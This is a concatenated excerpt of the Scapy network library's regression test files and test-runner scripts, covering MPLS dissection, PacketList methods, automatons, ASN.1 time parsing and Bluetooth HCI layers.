Ethernet with CW - build/dissection p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= MPLS(label=1)/EoMCW(seq=1234) p /= Ether(dst="33:33:33:33:33:33", src="44:44:44:44:44:44")/IP() p = Ether(raw(p)) assert p[EoMCW].zero == 0 assert p[EoMCW].reserved == 0 assert p[EoMCW].seq == 1234 = MPLS encapsulated Ethernet without CW - build/dissection p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= MPLS(label=2)/MPLS(label=1) p /= Ether(dst="33:33:33:33:33:33", src="44:44:44:44:44:44")/IP() p = Ether(raw(p)) assert p[Ether:2].type == 0x0800 try: p[EoMCW] except IndexError: ret = True else: ret = False assert ret assert p[Ether:2].type == 0x0800 = MPLS encapsulated IP - build/dissection p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= MPLS(label=1)/IP() p = Ether(raw(p)) try: p[EoMCW] except IndexError: ret = True else: ret = False assert ret try: p[Ether:2] except IndexError: ret = True else: ret = False assert ret p[IP] ############ ############ + PacketList methods = sr() class Req(Packet): fields_desc = [ ByteField("raw", 0) ] def answers(self, other): return False class Res(Packet): fields_desc = [ ByteField("raw", 0) ] def answers(self, other): return other.__class__ == Req and other.raw == self.raw pl = PacketList([Req(b"1"), Res(b"1"), Req(b"2"), Req(b"3"), Req(b"4"), Res(b"3"), Res(b"1"), Res(b"1"), Res(b"4")]) srl, rl = pl.sr() assert len(srl) == 3 assert len(rl) == 3 srl, rl = pl.sr(lookahead=1) assert len(srl) == 1 assert len(rl) == 7 srl, rl = pl.sr(lookahead=2) assert len(srl) == 2 assert len(rl) == 5 srl, rl = pl.sr(lookahead=3) assert len(srl) == 3 assert len(rl) == 3 pl = PacketList([Req(b"\x05"), Res(b"1"), Res(b"2"), Res(b"3"), Res(b"4"), Res(b"3"), Res(b"1"), Res(b"1"), Res(b"\x05")]) srl, rl = pl.sr(lookahead=3) assert len(srl) == 0 assert len(rl) == 9 srl, rl = pl.sr(lookahead=7) assert len(srl) == 0 assert len(rl) == 9 srl, rl = pl.sr(lookahead=8) assert len(srl) == 1 assert len(rl) == 7 srl, rl = pl.sr(lookahead=0) assert len(srl) == 1 assert len(rl) == 7 srl, rl = pl.sr(lookahead=None) assert len(srl) == 1 assert len(rl) == 7 = pickle test import pickle import io srl, rl = PacketList([Raw(b"1"), Raw(b"1"), Raw(b"2"), Raw(b"3"), Raw(b"4"), Raw(b"3"), Raw(b"1"), Raw(b"1"), Raw(b"4")]).sr() assert len(srl) == 4 f = io.BytesIO() pickle.dump(srl, f) unp = pickle.loads(f.getvalue()) assert len(unp) == len(srl) assert all(bytes(a[0]) == bytes(b[0]) for a, b in zip(unp, srl)) = plot() from unittest import mock import scapy.libs.matplot @mock.patch("scapy.libs.matplot.plt") def test_plot(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot plist = PacketList([IP(id=i)/TCP() for i in range(10)]) lines = plist.plot(lambda p: (p.time, p.id)) assert len(lines) == 10 test_plot() = diffplot() from unittest import mock import scapy.libs.matplot @mock.patch("scapy.libs.matplot.plt") def test_diffplot(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot plist = PacketList([IP(id=i)/TCP() for i in range(10)]) lines = plist.diffplot(lambda x,y: (x.time, y.id-x.id)) assert len(lines) == 9 test_diffplot() = multiplot() from unittest import mock import scapy.libs.matplot @mock.patch("scapy.libs.matplot.plt") def test_multiplot(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot tmp = [IP(id=i)/TCP() for i in range(10)] plist = PacketList([tuple(tmp[i-2:i]) for i in range(2, 10, 2)]) lines = plist.multiplot(lambda x, y: (y[IP].src, (y.time, y[IP].id))) assert len(lines) == 1 assert len(lines[0]) == 4 test_multiplot() = rawhexdump() def test_rawhexdump(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/TCP() for i in range(2)]) p.rawhexdump() result_pl_rawhexdump = cmco.get_output() assert len(result_pl_rawhexdump.split('\n')) == 7 assert result_pl_rawhexdump.startswith("0000 45 00 00 28") test_rawhexdump() = hexraw() def test_hexraw(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/Raw(str(i)) for i in range(2)]) p.hexraw() result_pl_hexraw = cmco.get_output() assert len(result_pl_hexraw.split('\n')) == 5 assert "0000 30" in result_pl_hexraw test_hexraw() = hexdump() def test_hexdump(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/Raw(str(i)) for i in range(2)]) p.hexdump() result_pl_hexdump = cmco.get_output() assert len(result_pl_hexdump.split('\n')) == 7 assert "0010 7F 00 00 01 31" in result_pl_hexdump test_hexdump() = import_hexcap() @mock.patch("scapy.utils.input") def test_import_hexcap(mock_input): data = """ 0000 FF FF FF FF FF FF AA AA AA AA AA AA 08 00 45 00 ..............E. 0010 00 1C 00 01 00 00 40 01 7C DE 7F 00 00 01 7F 00 ......@.|....... 0020 00 01 08 00 F7 FF 00 00 00 00 .......... """[1:].split("\n") lines = iter(data) mock_input.side_effect = lambda: next(lines) return import_hexcap() pkt = test_import_hexcap() pkt = Ether(pkt) assert pkt[Ether].dst == "ff:ff:ff:ff:ff:ff" assert pkt[IP].dst == "127.0.0.1" assert ICMP in pkt = import_hexcap(input_string) data = """ 0000 FF FF FF FF FF FF AA AA AA AA AA AA 08 00 45 00 ..............E. 0010 00 1C 00 01 00 00 40 01 7C DE 7F 00 00 01 7F 00 ......@.|....... 0020 00 01 08 00 F7 FF 00 00 00 00 .......... """[1:] pkt = import_hexcap(data) pkt = Ether(pkt) assert pkt[Ether].dst == "ff:ff:ff:ff:ff:ff" assert pkt[IP].dst == "127.0.0.1" assert ICMP in pkt = padding() def test_padding(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/conf.padding_layer(str(i)) for i in range(2)]) p.padding() result_pl_padding = cmco.get_output() assert len(result_pl_padding.split('\n')) == 5 assert "0000 30" in result_pl_padding test_padding() = nzpadding() def test_nzpadding(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/conf.padding_layer("AB"), IP()/conf.padding_layer("\x00\x00")]) p.nzpadding() result_pl_nzpadding = cmco.get_output() assert len(result_pl_nzpadding.split('\n')) == 3 assert "0000 41 42" in result_pl_nzpadding test_nzpadding() = conversations() from unittest import mock @mock.patch("scapy.plist.do_graph") def test_conversations(mock_do_graph): def fake_do_graph(graph, **kwargs): return graph mock_do_graph.side_effect = fake_do_graph plist = PacketList([IP(dst="127.0.0.2")/TCP(dport=i) for i in range(2)]) plist.extend([IP(src="127.0.0.2")/TCP(sport=i) for i in range(2)]) plist.extend([IPv6(dst="::2", src="::1")/TCP(sport=i) for i in range(2)]) plist.extend([IPv6(src="::2", dst="::1")/TCP(sport=i) for i in range(2)]) plist.extend([Ether()/ARP(pdst="127.0.0.1")]) result_conversations = plist.conversations() assert len(result_conversations.split('\n')) == 8 assert result_conversations.startswith('digraph "conv" {') assert "127.0.0.1" in result_conversations assert "::1" in result_conversations test_conversations() = sessions() pl = PacketList([Ether()/IPv6()/ICMPv6EchoRequest(), Ether()/IPv6()/IPv6()]) pl.extend([Ether()/IP()/IP(), Ether()/ARP()]) pl.extend([Ether()/Ether()/IP()]) assert len(pl.sessions().keys()) == 5 = afterglow() from unittest import mock @mock.patch("scapy.plist.do_graph") def test_afterglow(mock_do_graph): def fake_do_graph(graph, **kwargs): return graph mock_do_graph.side_effect = fake_do_graph plist = PacketList([IP(dst="127.0.0.2")/TCP(dport=i) for i in range(2)]) plist.extend([IP(src="127.0.0.2")/TCP(sport=i) for i in range(2)]) result_afterglow = plist.afterglow() assert len(result_afterglow.split('\n')) == 19 assert result_afterglow.startswith('digraph "afterglow" {') test_afterglow() = psdump() print("PYX: %d" % PYX) if PYX: import tempfile import os filename = tempfile.mktemp(suffix=".eps") plist = PacketList([IP()/TCP()]) plist.psdump(filename) assert os.path.exists(filename) os.unlink(filename) = pdfdump() print("PYX: %d" % PYX) if PYX: import tempfile import os filename = tempfile.mktemp(suffix=".pdf") plist = PacketList([IP()/TCP()]) plist.pdfdump(filename) assert os.path.exists(filename) os.unlink(filename) = svgdump() print("PYX: %d" % PYX) if PYX: import tempfile import os filename = tempfile.mktemp(suffix=".svg") plist = PacketList([IP()/TCP()]) plist.svgdump(filename) assert os.path.exists(filename) os.unlink(filename) = __getstate__ / __setstate__ (used by pickle) import pickle frm = Ether(src='00:11:22:33:44:55', dst='00:22:33:44:55:66')/Raw() frm.time = EDecimal(123.45) frm.sniffed_on = "iface" frm.wirelen = 1 pl = PacketList(res=[frm, frm], name='WhatAGreatName') pickled = pickle.dumps(pl) pl = pickle.loads(pickled) assert pl.listname == "WhatAGreatName" assert len(pl) == 2 assert pl[0].time == 123.45 assert pl[0].sniffed_on == "iface" assert pl[0].wirelen == 1 assert pl[0][Ether].src == '00:11:22:33:44:55' assert pl[1][Ether].dst == '00:22:33:44:55:66' = EDecimal # GH4488 p1, p2 = EDecimal('1722417787.778435252'), EDecimal('1722417787.778435216') assert p1 != p2 assert p1 > p2 assert not (p1 < p2) assert p1 == 1722417787.778435252 # float test assert p2 == 1722417787.778435216 assert (p1, 0) > (p2, 1) ############ ############ + Scapy version = _version() import os from datetime import datetime, timezone version_filename = os.path.join(scapy._SCAPY_PKG_DIR, "VERSION") mtime = datetime.fromtimestamp(os.path.getmtime(scapy.__file__), timezone.utc) version = "2.0.0" with open(version_filename, "w") as fd: fd.write(version) os.environ["SCAPY_VERSION"] = "9.9.9" assert scapy._version() == "9.9.9" del os.environ["SCAPY_VERSION"] assert scapy._version() == version os.unlink(version_filename) from unittest import mock with mock.patch("scapy._version_from_git_archive") as archive: archive.return_value = "4.4.4" assert scapy._version() == "4.4.4" archive.side_effect = ValueError() with mock.patch("scapy._version_from_git_describe") as git: git.return_value = "3.3.3" assert scapy._version() == "3.3.3" git.side_effect = Exception() assert scapy._version() == mtime.strftime("%Y.%m.%d") with mock.patch("os.path.getmtime") as getmtime: getmtime.side_effect = Exception() assert scapy._version() == "0.0.0" = UTscapy HTML output import tempfile, os from scapy.tools.UTscapy import TestCampaign, pack_html_campaigns test_campaign = TestCampaign("test") test_campaign.output_file = tempfile.mktemp() html = pack_html_campaigns([test_campaign], None, local=True) dirname = os.path.dirname(test_campaign.output_file) filename_js = "%s/UTscapy.js" % dirname filename_css = "%s/UTscapy.css" % dirname assert os.path.isfile(filename_js) assert os.path.isfile(filename_css) os.remove(filename_js) os.remove(filename_css) = test get_temp_dir dname = get_temp_dir() assert os.path.isdir(dname) = test fragleak functions ~ netaccess linux fragleak from unittest import mock @mock.patch("scapy.layers.inet.conf.L3socket") @mock.patch("scapy.layers.inet.select.select") @mock.patch("scapy.layers.inet.sr1") def _test_fragleak(func, sr1, select, L3socket): packets = [IP(src="4.4.4.4")/ICMP()/IPerror(dst="8.8.8.8")/conf.padding_layer(load=b"greatdata")] iterator = iter(packets) ne = lambda *args, **kwargs: next(iterator) L3socket.side_effect = lambda: Bunch(recv=ne, send=lambda x: None) sr1.side_effect = ne select.side_effect = lambda a, b, c, d: a+b+c with ContextManagerCaptureOutput() as cmco: func("8.8.8.8", count=1) out = cmco.get_output() return "greatdata" in out assert _test_fragleak(fragleak) assert _test_fragleak(fragleak2) + CLIUtil ~ cliutil = CLIUtil: define and check overlap from scapy.layers.smbclient import smbclient class CLI1(CLIUtil): @CLIUtil.addcommand() def shares(self): return 1 @CLIUtil.addoutput(shares) def shares_output(self, results): print(results) class CLI2(CLIUtil): @CLIUtil.addcommand() def shares(self): return 2 @CLIUtil.addoutput(shares) def shares_output(self, results): print(results) c1 = CLI1(cli=False) c2 = CLI2(cli=False) assert c1.shares() == 1 assert c2.shares() == 2 ================================================ FILE: test/run_tests ================================================ #! /bin/sh # # Run Scapy test suite. # # If ran with no arguments: # ./run_tests # this util will run the test suite using tox, with options that should work # regardless of the platform or the dependencies. The only dependency for this # to work are python3 (or python) and tox. # # If ran with arguments, this will call UTscapy.py # # ATTENTION PACKAGE MAINTAINERS: # If you do need to run Scapy tests, calling ./run_tests should be enough. # DIR=$(dirname "$0")/.. if [ -z "$PYTHON" ] then ARGS="" for arg in "$@" do case $arg in -3) PYTHON=python3;; -W) PYTHONWARNINGS="-W error";; *) ARGS="$ARGS $arg";; esac done PYTHON=${PYTHON:-python3} else ARGS="$@" fi $PYTHON --version > /dev/null 2>&1 if [ ! $? -eq 0 ] then echo "WARNING: '$PYTHON' not found, using 'python' instead." PYTHON=python fi if [ -z "$ARGS" ] then # No arguments specified: use tox # We use flags to disable tests that use external non tox-installed # software. # Check tox tox --version >/dev/null 2>/dev/null if [ ! $? -eq 0 ] then echo "ERROR: tox is not installed." echo "You can still run ./run_tests with arguments: see ./run_tests -h" echo "e.g. ./run_tests -t tls.uts -F" exit 1 fi # Run tox export UT_FLAGS="-K tcpdump -K wireshark -K tshark -K ci_only -K vcan_socket -K automotive_comm -K imports -K scanner" export SIMPLE_TESTS="true" export PYTHON export DISABLE_COVERAGE=" " PYVER=$($PYTHON -c "import sys,platform; print(('pypy' if platform.python_implementation() == 'PyPy' else '') + '.'.join(sys.version.split('.')[:2]))") bash ${DIR}/.config/ci/test.sh $PYVER non_root exit $? fi PYTHONPATH=$DIR exec "$PYTHON" $PYTHONWARNINGS ${DIR}/scapy/tools/UTscapy.py $ARGS ================================================ FILE: test/run_tests.bat ================================================ @echo off set MYDIR=%~dp0.. set PWD=%MYDIR% set PYTHONPATH=%MYDIR% REM Note: shift will not work with %* REM ### Get args, Handle Python version ### set "_args=%*" IF "%1" == "-3" ( set PYTHON=python3 set "_args=%_args:~3%" ) IF "%PYTHON%" == "" set PYTHON=python3 WHERE %PYTHON% >nul 2>&1 IF %ERRORLEVEL% NEQ 0 set PYTHON=python REM Reset Error level VERIFY > nul echo ##### Starting Unit tests ##### REM ### Check no-argument mode ### IF "%_args%" == "" ( REM Check for tox %PYTHON% -m tox --version >nul 2>&1 IF %ERRORLEVEL% NEQ 0 ( echo Tox not installed ! pause exit 1 ) REM Run tox %PYTHON% -m tox -- -K tcpdump -K manufdb -K wireshark -K ci_only -K automotive_comm pause exit 0 ) REM ### Start UTScapy normally ### %PYTHON% "%MYDIR%\scapy\tools\UTscapy.py" %_args% PAUSE ================================================ FILE: test/scapy/automaton.uts ================================================ % Automaton regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Automaton tests = Simple automaton ~ automaton class ATMT1(Automaton): def parse_args(self, init, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.init = init @ATMT.state(initial=1) def BEGIN(self): raise self.MAIN(self.init) @ATMT.state() def MAIN(self, s): return s @ATMT.condition(MAIN, prio=-1) def go_to_END(self, s): if len(s) > 20: raise self.END(s).action_parameters(s) @ATMT.condition(MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"a") @ATMT.condition(MAIN) def trB(self, s): if s.endswith("a"): raise self.MAIN(s*2+"b") @ATMT.state(final=1) def END(self, s): return s @ATMT.action(go_to_END) def action_test(self, s): self.result = s = Simple automaton Tests ~ automaton a=ATMT1(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'aabaaababaaabaaababab' r = a.result r assert r == 'aabaaababaaabaaababab' a = ATMT1(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'babababababababababababababab' r = a.result assert r == 'babababababababababababababab' = Simple automaton stuck test ~ automaton try: ATMT1(init="", ll=lambda: None, recvsock=lambda: None).run() except Automaton.Stuck: True else: False = Automaton state overloading ~ automaton class ATMT2(ATMT1): @ATMT.state() def MAIN(self, s): return "c"+ATMT1.MAIN(self, s).run() a=ATMT2(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'ccccccacabacccacababacccccacabacccacababab' r = a.result r assert r == 'ccccccacabacccacababacccccacabacccacababab' a=ATMT2(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'cccccbaccbabaccccbaccbabab' r = a.result r assert r == 'cccccbaccbabaccccbaccbabab' = Automaton condition overloading ~ automaton class ATMT3(ATMT2): @ATMT.condition(ATMT1.MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"da") a=ATMT3(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'cccccacabdacccacabdabda' r = a.result r assert r == 'cccccacabdacccacabdabda' a=ATMT3(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'cccccbdaccbdabdaccccbdaccbdabdab' r = a.result r assert r == 'cccccbdaccbdabdaccccbdaccbdabdab' = Automaton action overloading ~ automaton class ATMT4(ATMT3): @ATMT.action(ATMT1.go_to_END) def action_test(self, s): self.result = "e"+s+"e" a=ATMT4(init="a", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'cccccacabdacccacabdabda' r = a.result r assert r == 'ecccccacabdacccacabdabdae' a=ATMT4(init="b", ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'cccccbdaccbdabdaccccbdaccbdabdab' r = a.result r assert r == 'ecccccbdaccbdabdaccccbdaccbdabdabe' = Automaton priorities ~ automaton class ATMT5(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "J" @ATMT.condition(BEGIN, prio=1) def tr1(self): self.res += "i" raise self.END() @ATMT.condition(BEGIN) def tr2(self): self.res += "p" @ATMT.condition(BEGIN, prio=-1) def tr3(self): self.res += "u" @ATMT.action(tr1) def ac1(self): self.res += "e" @ATMT.action(tr1, prio=-1) def ac2(self): self.res += "t" @ATMT.action(tr1, prio=1) def ac3(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT5(ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == 'Jupiter' = Automaton test same action for many conditions ~ automaton class ATMT6(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res="M" @ATMT.condition(BEGIN) def tr1(self): raise self.MIDDLE() @ATMT.action(tr1) # default prio=0 def add_e(self): self.res += "e" @ATMT.action(tr1, prio=2) def add_c(self): self.res += "c" @ATMT.state() def MIDDLE(self): self.res += "u" @ATMT.condition(MIDDLE) def tr2(self): raise self.END() @ATMT.action(tr2, prio=2) def add_y(self): self.res += "y" @ATMT.action(tr1, prio=1) @ATMT.action(tr2) def add_r(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT6(ll=lambda: None, recvsock=lambda: None) r = a.run() assert r == 'Mercury' a.restart() r = a.run() r assert r == 'Mercury' = Automaton test io event ~ automaton class ATMT7(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "S" @ATMT.ioevent(BEGIN, name="tst") def tr1(self, fd): self.res += fd.recv() raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): self.oi.tst.send("ur") @ATMT.ioevent(NEXT_STATE, name="tst") def tr2(self, fd): self.res += fd.recv() raise self.END() @ATMT.state(final=1) def END(self): self.res += "n" return self.res a=ATMT7(ll=lambda: None, recvsock=lambda: None) a.run(wait=False) a.io.tst.send("at") r = a.io.tst.recv() r a.io.tst.send(r) r = a.run() r assert r == "Saturn" a.restart() a.run(wait=False) a.io.tst.send("at") r = a.io.tst.recv() r a.io.tst.send(r) r = a.run() r assert r == "Saturn" = Automaton test io event from external fd ~ automaton import os class ATMT8(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = b"U" @ATMT.ioevent(BEGIN, name="extfd") def tr1(self, fd): self.res += fd.read(2) raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): pass @ATMT.ioevent(NEXT_STATE, name="extfd") def tr2(self, fd): self.res += fd.read(2) raise self.END() @ATMT.state(final=1) def END(self): self.res += b"s" return self.res if WINDOWS: r = w = ObjectPipe() else: r,w = os.pipe() def writeOn(w, msg): if WINDOWS: w.write(msg) else: os.write(w, msg) a=ATMT8(external_fd={"extfd":r}, ll=lambda: None, recvsock=lambda: None) a.run(wait=False) writeOn(w, b"ra") writeOn(w, b"nu") r = a.run() r assert r == b"Uranus" a.restart() a.run(wait=False) writeOn(w, b"ra") writeOn(w, b"nu") r = a.run() r assert r == b"Uranus" = Automaton test interception_points, and restart ~ automaton class ATMT9(Automaton): def my_send(self, x): self.io.loop.send(x) @ATMT.state(initial=1) def BEGIN(self): self.res = "V" self.send(Raw("ENU")) @ATMT.ioevent(BEGIN, name="loop") def received_sth(self, fd): self.res += plain_str(fd.recv().load) raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res a=ATMT9(debug=5, ll=lambda: None, recvsock=lambda: None) r = a.run() r assert r == "VENUs" a.restart() r = a.run() r assert r == "VENUs" a.restart() a.BEGIN.intercepts() while True: try: x = a.run() except Automaton.InterceptionPoint as p: a.accept_packet(Raw(p.packet.load.lower()), wait=False) else: break r = x r assert r == "Venus" = Automaton timer function ~ run timers class TimerTest(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.count1 = 0 self.count2 = 0 @ATMT.timer(BEGIN, 0.1) def count1(self): self.count1 += 1 @ATMT.timer(BEGIN, 0.15) def count2(self): self.count2 += 1 @ATMT.timeout(BEGIN, 1) def goto_end(self): raise self.END() @ATMT.state(final=1) def END(self): pass sm = TimerTest(ll=lambda: None, recvsock=lambda: None) sm.run() assert sm.timer_by_name("count0") is None assert sm.timer_by_name("count1") is not None assert sm.timer_by_name("count1")._timeout == 0.1 assert sm.timer_by_name("count2") is not None assert sm.timer_by_name("count2")._timeout == 0.15 assert sm.timer_by_name("goto_end") is not None assert sm.timer_by_name("goto_end")._timeout == 1 assert sm.count1 == 10 assert sm.count2 == 6 ~ reconfigure timers sm = TimerTest(ll=lambda: None, recvsock=lambda: None) sm.timer_by_name("count1").set(0.2) sm.timer_by_name("count2").set(0.25) sm.run() assert sm.count1 == 5 assert sm.count2 == 4 ~ timeout class TimerTest(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.count1 = 0 self.count2 = 0 @ATMT.timeout(BEGIN, 0.1) def count1(self): self.count1 += 1 @ATMT.timer(BEGIN, 0.15) def count2(self): self.count2 += 1 @ATMT.timeout(BEGIN, 1) def goto_end(self): raise self.END() @ATMT.state(final=1) def END(self): pass sm = TimerTest(ll=lambda: None, recvsock=lambda: None) sm.run() assert sm.count1 == 1 assert sm.count2 == 6 = Automaton graph ~ automaton class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.count1 = 0 self.count2 = 0 @ATMT.timer(BEGIN, 0.1) def count1(self): self.count1 += 1 @ATMT.timer(BEGIN, 0.15) def count2(self): self.count2 += 1 @ATMT.timeout(BEGIN, 1) def goto_end(self): raise self.END() @ATMT.state(final=1) def END(self): pass graph = HelloWorld.build_graph() assert graph.startswith("digraph") assert '"BEGIN" -> "END"' in graph = Automaton graph - with indirection ~ automaton class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.count1 = 0 self.count2 = 0 @ATMT.condition(BEGIN) def cnd_1(self): self.cnd_generic() def cnd_generic(self): raise END @ATMT.state(final=1) def END(self): pass graph = HelloWorld.build_graph() assert graph.startswith("digraph") assert '"BEGIN" -> "END"' in graph = TCP_client automaton ~ automaton netaccess needs_root * This test retries on failure because it may fail quite easily import functools SECDEV_IP4 = "217.25.178.5" if LINUX: import os IPTABLE_RULE = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP" # Drop packets from SECDEV_IP4 assert os.system(IPTABLE_RULE % ('A', SECDEV_IP4)) == 0 load_layer("http") def _tcp_client_test(): req = HTTP()/HTTPRequest( Accept_Encoding=b'gzip, deflate', Cache_Control=b'no-cache', Pragma=b'no-cache', Connection=b'keep-alive', Host=b'www.secdev.org', ) t = TCP_client.tcplink(HTTP, SECDEV_IP4, 80, debug=4) response = t.sr1(req, timeout=3) t.close() assert response.Http_Version == b'HTTP/1.1' assert response.Status_Code == b'200' assert response.Reason_Phrase == b'OK' def _http_request_test(_raw=False): response = http_request("www.google.com", path="/", raw=_raw, iptables=LINUX, verbose=4) assert response.Http_Version == b'HTTP/1.1' assert response.Status_Code == b'200' assert response.Reason_Phrase == b'OK' # Native sockets retry_test(_http_request_test) # Our raw socket test doesn't pass on Travis BSD # (likely because the firewall is different and our iptables call isn't enough) if not BSD: retry_test(functools.partial(_http_request_test, _raw=True)) if LINUX: try: retry_test(_tcp_client_test) finally: if LINUX: # Remove the iptables rule assert os.system(IPTABLE_RULE % ('D', SECDEV_IP4)) == 0 ================================================ FILE: test/scapy/layers/asn1.uts ================================================ % Tests for generic ASN.1 encoding # # Try me with: # bash test/run_tests -t test/scapy/layers/asn1.uts -F ########### ASN.1 border case ####################################### + ASN.1 Generalized Time = short HH repr(ASN1_GENERALIZED_TIME("1999123123")).startswith("1999-12-31 23:00:00 <") = short HH (invalid) "invalid" in repr(ASN1_GENERALIZED_TIME("1999123124")) = short HHMM repr(ASN1_GENERALIZED_TIME("199912312359")).startswith("1999-12-31 23:59:00 <") = short HHMM (invalid) "invalid" in repr(ASN1_GENERALIZED_TIME("199912312360")) = full repr(ASN1_GENERALIZED_TIME("19991231235959")).startswith("1999-12-31 23:59:59 <") = full (invalid) "invalid" in repr(ASN1_GENERALIZED_TIME("19991231235960")) = with microseconds repr(ASN1_GENERALIZED_TIME("19991231235959.999")).startswith("1999-12-31 23:59:59.999 <") = with microseconds (invalid) assert "invalid" in repr(ASN1_GENERALIZED_TIME("1999123125959.99")) assert "invalid" in repr(ASN1_GENERALIZED_TIME("1999123125959.99x")) assert "invalid" in repr(ASN1_GENERALIZED_TIME("1999123125959.9999")) + ASN.1 Generalized Time (Zulu) = Z short HH repr(ASN1_GENERALIZED_TIME("1999123123Z")).startswith("1999-12-31 23:00:00 UTC <") = Z short HHMM repr(ASN1_GENERALIZED_TIME("199912312359Z")).startswith("1999-12-31 23:59:00 UTC <") = Z full repr(ASN1_GENERALIZED_TIME("19991231235959Z")).startswith("1999-12-31 23:59:59 UTC <") = Z with microseconds repr(ASN1_GENERALIZED_TIME("19991231235959.999Z")).startswith("1999-12-31 23:59:59.999 UTC <") + ASN.1 Generalized Time (Timezone Offset) = offset short HH ASN1_GENERALIZED_TIME("1999123123+0100") repr(ASN1_GENERALIZED_TIME("1999123123+0100")).startswith("1999-12-31 23:00:00 +0100 <") = offset short HHMM repr(ASN1_GENERALIZED_TIME("199912312359+0100")).startswith("1999-12-31 23:59:00 +0100 <") = offset full repr(ASN1_GENERALIZED_TIME("19991231235959+0100")).startswith("1999-12-31 23:59:59 +0100 <") = offset with microseconds repr(ASN1_GENERALIZED_TIME("19991231235959.999+0100")).startswith("1999-12-31 23:59:59.999 +0100 <") = offset negative repr(ASN1_GENERALIZED_TIME("19991231235959-2359")).startswith("1999-12-31 23:59:59 -2359 <") = offset invalid (offset >= 24h) assert "invalid" in repr(ASN1_GENERALIZED_TIME("19991231235959-2400")) assert "invalid" in repr(ASN1_GENERALIZED_TIME("19991231235959+2400")) + ASN.1 UTC Time = UTC short HHMM repr(ASN1_UTC_TIME("9912312359Z")).startswith("1999-12-31 23:59:00 UTC <") = UTC short HHMM (no Z) "invalid" in repr(ASN1_UTC_TIME("9912312359")) = UTC short HHMM (invalid) "invalid" in repr(ASN1_UTC_TIME("99123160")) = UTC full repr(ASN1_UTC_TIME("991231235959Z")).startswith("1999-12-31 23:59:59 UTC <") = UTC full (no Z) "invalid" in repr(ASN1_UTC_TIME("991231235959")) = UTC full (invalid) "invalid" in repr(ASN1_UTC_TIME("9912315960")) + ASN.1 Generalized Time (datetime member) = prepare class TZ(tzinfo): def __init__(self, delta): self.delta = delta def utcoffset(self, dt): return self.delta def dst(self, dt): return None = short HH datetime ASN1_GENERALIZED_TIME("1999123123").datetime == datetime(1999, 12, 31, 23) = short HHMM datetime ASN1_GENERALIZED_TIME("199912312359").datetime == datetime(1999, 12, 31, 23, 59) = full datetime ASN1_GENERALIZED_TIME("19991231235959").datetime == datetime(1999, 12, 31, 23, 59, 59) = datetime assignment x = ASN1_GENERALIZED_TIME("19991231235959.999") x.datetime = datetime(2020, 12, 31) assert x.val == "20201231000000" x.datetime = x.datetime.replace(tzinfo=timezone.utc) x.val == "20201231000000Z" = datetime construction ASN1_GENERALIZED_TIME(datetime(2020, 12, 31)).val == "20201231000000" = datetime construction (UTC) ASN1_GENERALIZED_TIME(datetime(2020, 12, 31, tzinfo=timezone.utc)).val == "20201231000000Z" = datetime construction (offset) ASN1_GENERALIZED_TIME(datetime(2020, 12, 31, tzinfo=timezone(timedelta(hours=-23, minutes=-59)))).val == "20201231000000-2359" + ASN.1 UTC Time (datetime member) = UTC datetime construction ASN1_UTC_TIME(datetime(2020, 12, 31)).val == "201231000000" = UTC datetime construction (Z) ASN1_UTC_TIME(datetime(2020, 12, 31, tzinfo=timezone.utc)).val == "201231000000Z" = UTC datetime construction (offset) ASN1_UTC_TIME(datetime(2020, 12, 31, tzinfo=timezone(timedelta(hours=-23, minutes=-59)))).val == "201231000000-2359" ================================================ FILE: test/scapy/layers/bluetooth.uts ================================================ % Scapy Bluetooth layer tests + Bluetooth tests = HCI layers # HCI_Command_Hdr # default construction hci_cmd_hdr = HCI_Command_Hdr() assert hci_cmd_hdr.ogf == 0 assert hci_cmd_hdr.ocf == 0 assert hci_cmd_hdr.len == None assert raw(hci_cmd_hdr) == b'\x00\x00\x00' # parsing hci_cmd_hdr = HCI_Command_Hdr(raw(hci_cmd_hdr)) assert hci_cmd_hdr.ogf == 0 assert hci_cmd_hdr.ocf == 0 assert hci_cmd_hdr.len == 0 # HCI_Cmd_Inquiry default construction hci_cmd_inquiry = HCI_Command_Hdr() / HCI_Cmd_Inquiry() assert hci_cmd_inquiry.ogf == 0x01 assert hci_cmd_inquiry.ocf == 0x01 assert hci_cmd_inquiry.len == None assert hci_cmd_inquiry.lap == 0x9e8b33 assert hci_cmd_inquiry.inquiry_length == 